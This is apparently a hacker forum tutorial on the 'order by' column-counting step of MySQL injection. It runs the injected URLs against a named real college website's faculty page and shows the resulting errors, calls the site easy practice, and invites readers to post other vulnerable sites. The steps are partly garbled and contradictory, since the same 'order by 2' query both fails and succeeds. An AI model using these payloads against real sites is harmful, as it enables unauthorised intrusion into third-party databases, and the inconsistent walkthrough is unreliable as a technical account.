MySQL injection finding columns in vuln sites

FINDING COLUMNS IN VULN SITES

Time to learn next step of sql injection
‪#‎recall‬- in previous tutorial we learn to find vuln site yeah? Now we are upgrading the step now finding column of site is our next steP
Vuln site- http://www.skitm.edu.in/faculty.php?id=2' this one is for n00b only this site have very low security i practise in this site when i was learning sql injection so here we go in our step
To find column of the vuln site we have to use this query there are many query to find vuln column but because of the basic tut i am using here only: order by method
Here is the query: order by

Step- http://www.skitm.edu.in/faculty.php?id=2 order by 10

Error: Unknown column '10' in 'order clause'
Try until when this unknow column doesn't disappear from the screen 
Still getting that error yeah so try by putting 9 like this

http://www.skitm.edu.in/faculty.php?id=2 order by 9

Error: Unknown column '9' in 'order clause' still getting error yeah so try and try

http://www.skitm.edu.in/faculty.php?id=2 order by 8

Error: Unknown column '8' in 'order clause' again error  try until it disappear from your screen so keep on decreasing the number

http://www.skitm.edu.in/faculty.php?id=2 order by 7

Error: Unknown column '7' error

http://www.skitm.edu.in/faculty.php?id=2 order by 6

Error: Unknown column 6'

http://www.skitm.edu.in/faculty.php?id=2 order by 5

Error: Unknown column 5'

http://www.skitm.edu.in/faculty.php?id=2 order by 4

Error: Unknown column 4'

http://www.skitm.edu.in/faculty.php?id=2 order by 3

Error: Unknown column 3'

http://www.skitm.edu.in/faculty.php?id=2 order by 2

Error: Unknown column 2'

http://www.skitm.edu.in/faculty.php?id=2 order by 2

No Error in column 2'
It mean this site have 2 column so finally we found column of that site.
It is not mean that in all site there will be 2column in different site different column so don't keep on your mind that only 2 column in all vuln site now here we find column of site. And remember if last error is in 10 of any site then remember there is 9 column same as in next site if got last error in 26 then there is 25 column
Hope you understand this one tutorial
Post your site which you have find site column and fell free to ask your problem you can message me or comment.